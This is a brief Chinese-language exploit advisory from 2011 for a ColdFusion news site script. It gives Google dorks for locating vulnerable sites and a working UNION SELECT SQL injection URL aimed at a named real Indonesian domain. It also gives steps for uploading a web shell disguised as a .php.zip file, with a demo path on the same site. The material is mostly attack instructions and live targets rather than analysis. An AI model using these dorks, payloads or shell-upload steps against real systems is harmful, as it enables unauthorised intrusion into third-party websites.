Site Developed by Magfiroh SQL Injection and uploa

发布日期：2011-04.28
发布作者：Platsbanned

漏洞类型：SQL注入
漏洞描述：Site Developed是一款国外程序，存在SQL注入漏洞。在linux系统下存在1.php.zip解析漏洞。

Google:: inurl"berita_detail.cfm?judul="
: inurl:".cfm?judul="

#POC

\\~ http://site.com/berita_detail.cfm?judul=[SQL]

\\~ http://site.com/

Live Demo
---------
http://pkkprovkalsel.or.id/berita_detail.cfm?judul=72%20UNION%20SELECT%201,2,version%28%29,user%28%29,5,6--

#permittion allowed upload filetype :zip.pdf.rar.

#upload ur shell rar.php,zip.php into folder Download/document

#ur shell :

http://site.com/dwn/shell.php.zip

demo:

\\~http://pkkprovkalsel.or.id/dwn/met_ultah_rasya.htm

 

标签分类：